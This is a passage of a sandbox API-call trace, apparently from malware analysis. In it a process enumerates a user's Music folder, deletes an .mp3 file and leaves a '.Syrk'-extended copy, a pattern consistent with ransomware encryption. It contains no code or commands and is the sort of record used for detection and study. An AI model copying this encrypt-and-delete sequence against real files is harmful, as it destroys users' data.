lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0242.968] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0242.969] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0242.969] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0242.969] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0242.969] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0242.969] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0242.969] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0242.969] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0242.969] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", lpFilePart=0x0) returned 0x22 [0242.969] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0242.969] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0242.969] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0242.970] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", lpFilePart=0x0) returned 0x30 [0242.970] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw")) returned 0x10 [0242.970] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw")) returned 0x10 [0242.970] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0242.970] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw", lpFilePart=0x0) returned 0x36 [0242.970] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\msuosa4r0 23u.mp3")) returned 0x20 [0242.970] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0242.970] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3", nBufferLength=0x49, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3", lpFilePart=0x0) returned 0x48 [0242.974] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0242.974] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3", nBufferLength=0x49, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3", lpFilePart=0x0) returned 0x48 [0242.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0242.974] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0242.975] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3", nBufferLength=0x49, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3", lpFilePart=0x0) returned 0x48 [0242.975] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3\\*" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\msuosa4r0 23u.mp3\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0242.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0242.975] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0242.975] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0242.976] CoTaskMemFree (pv=0x5c98368) [0242.978] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\msuosa4r0 23u.mp3")) returned 0x20 [0242.978] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0242.978] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3", nBufferLength=0x49, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3", lpFilePart=0x0) returned 0x48 [0242.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0242.978] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\msuosa4r0 23u.mp3"), fInfoLevelId=0x0, lpFileInformation=0x24bfc2c | out: lpFileInformation=0x24bfc2c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8caf350, ftCreationTime.dwHighDateTime=0x1d99b92, ftLastAccessTime.dwLowDateTime=0x277ec070, ftLastAccessTime.dwHighDateTime=0x1d99ca7, ftLastWriteTime.dwLowDateTime=0x277ec070, ftLastWriteTime.dwHighDateTime=0x1d99ca7, nFileSizeHigh=0x0, nFileSizeLow=0xd1d4)) returned 1 [0242.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0242.978] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\msuosa4r0 23u.mp3")) returned 1 [0242.980] EtwEventActivityIdControl () returned 0x0 [0242.980] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.981] EtwEventActivityIdControl () returned 0x0 [0242.981] EtwEventActivityIdControl () returned 0x0 [0242.981] EtwEventActivityIdControl () returned 0x0 [0242.989] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\msuosa4r0 23u.mp3.syrk")) returned 0x20 [0242.990] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\msuosa4r0 23u.mp3.syrk")) returned 0x20 [0242.990] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0242.990] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3.Syrk", nBufferLength=0x4e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3.Syrk", lpFilePart=0x0) returned 0x4d [0242.992] EtwEventActivityIdControl () returned 0x0 [0242.993] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.993] EtwEventActivityIdControl () returned 0x0 [0242.993] EtwEventActivityIdControl () returned 0x0 [0242.993] EtwEventActivityIdControl () returned 0x0 [0242.996] EtwEventActivityIdControl () returned 0x0 [0242.997] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.997] EtwEventActivityIdControl () returned 0x0 [0242.997] EtwEventActivityIdControl () returned 0x0 [0242.997] EtwEventActivityIdControl () returned 0x0 [0243.001] EtwEventActivityIdControl () returned 0x0 [0243.001] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.002] EtwEventActivityIdControl () returned 0x0 [0243.002] EtwEventActivityIdControl () returned 0x0 [0243.002] EtwEventActivityIdControl () returned 0x0 [0243.006] EtwEventActivityIdControl () returned 0x0 [0243.007] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.007] EtwEventActivityIdControl () returned 0x0 [0243.007] EtwEventActivityIdControl () returned 0x0 [0243.007] EtwEventActivityIdControl () returned 0x0 [0243.012] EtwEventActivityIdControl () returned 0x0 [0243.012] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.013] EtwEventActivityIdControl () returned 0x0 [0243.013] EtwEventActivityIdControl () returned 0x0 [0243.013] EtwEventActivityIdControl () returned 0x0 [0243.018] EtwEventActivityIdControl () returned 0x0 [0243.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0243.025] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\MsuOsA4r0 23U.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\msuosa4r0 23u.mp3.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24cdc24 | out: lpFileInformation=0x24cdc24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc790ab0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xc790ab0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xc7b6c10, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xd1f4)) returned 1 [0243.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0243.026] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e59c | out: lpConsoleScreenBufferInfo=0x5a2e59c) returned 1 [0243.027] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e594 | out: lpMode=0x5a2e594) returned 1 [0243.027] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e588, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e588*=0x2) returned 1 [0243.029] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e540 | out: lpConsoleScreenBufferInfo=0x5a2e540) returned 1 [0243.029] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0243.030] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0243.030] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0243.031] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e5a4 | out: lpConsoleScreenBufferInfo=0x5a2e5a4) returned 1 [0243.032] GetConsoleOutputCP () returned 0x1b5 [0243.032] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e314, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e314) returned 0 [0243.032] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e3f4 | out: lpConsoleScreenBufferInfo=0x5a2e3f4) returned 1 [0243.033] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0243.033] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24e82b4*, nNumberOfCharsToWrite=0x45, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x24e82b4*, lpNumberOfCharsWritten=0x5a2e3e0*=0x45) returned 1 [0243.034] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0243.035] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e3e0*=0x2) returned 1 [0243.054] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4fc | out: lpConsoleScreenBufferInfo=0x5a2e4fc) returned 1 [0243.054] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4f4 | out: lpMode=0x5a2e4f4) returned 1 [0243.055] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e8*=0x2) returned 1 [0243.056] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0243.056] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0243.057] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0243.058] GetConsoleOutputCP () returned 0x1b5 [0243.058] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0243.058] GetConsoleOutputCP () returned 0x1b5 [0243.059] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0243.059] GetConsoleOutputCP () returned 0x1b5 [0243.059] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0243.059] GetConsoleOutputCP () returned 0x1b5 [0243.059] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0243.059] GetConsoleOutputCP () returned 0x1b5 [0243.060] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0243.060] GetConsoleOutputCP () returned 0x1b5 [0243.060] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0243.060] GetConsoleOutputCP () returned 0x1b5 [0243.060] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0243.060] GetConsoleOutputCP () returned 0x1b5 [0243.061] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0243.061] GetConsoleOutputCP () returned 0x1b5 [0243.061] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0243.061] GetConsoleOutputCP () returned 0x1b5 [0243.061] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0243.061] GetConsoleOutputCP () returned 0x1b5 [0243.062] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0243.062] GetConsoleOutputCP () returned 0x1b5 [0243.062] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0243.063] GetConsoleOutputCP () returned 0x1b5 [0243.063] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0243.063] GetConsoleOutputCP () returned 0x1b5 [0243.063] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0243.063] GetConsoleOutputCP () returned 0x1b5 [0243.063] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0243.064] GetConsoleOutputCP () returned 0x1b5 [0243.064] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0243.064] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0243.065] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0243.065] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24e8c50*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x24e8c50*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0243.066] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0243.066] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0243.067] GetConsoleOutputCP () returned 0x1b5 [0243.068] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0243.068] GetConsoleOutputCP () returned 0x1b5 [0243.068] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0243.068] GetConsoleOutputCP () returned 0x1b5 [0243.068] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0243.068] GetConsoleOutputCP () returned 0x1b5 [0243.069] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0243.070] GetConsoleOutputCP () returned 0x1b5 [0243.070] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0243.070] GetConsoleOutputCP () returned 0x1b5 [0243.070] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0243.070] GetConsoleOutputCP () returned 0x1b5 [0243.070] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0243.071] GetConsoleOutputCP () returned 0x1b5 [0243.071] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0243.071] GetConsoleOutputCP () returned 0x1b5 [0243.071] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0243.071] GetConsoleOutputCP () returned 0x1b5 [0243.071] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0243.071] GetConsoleOutputCP () returned 0x1b5 [0243.072] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0243.072] GetConsoleOutputCP () returned 0x1b5 [0243.072] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0243.072] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0243.073] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0243.073] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24e90f8*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x24e90f8*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0243.074] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0243.074] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0243.075] GetConsoleOutputCP () returned 0x1b5 [0243.075] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0243.075] GetConsoleOutputCP () returned 0x1b5 [0243.076] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0243.076] GetConsoleOutputCP () returned 0x1b5 [0243.076] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.076] GetConsoleOutputCP () returned 0x1b5 [0243.076] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0243.076] GetConsoleOutputCP () returned 0x1b5 [0243.077] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0243.077] GetConsoleOutputCP () returned 0x1b5 [0243.077] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, 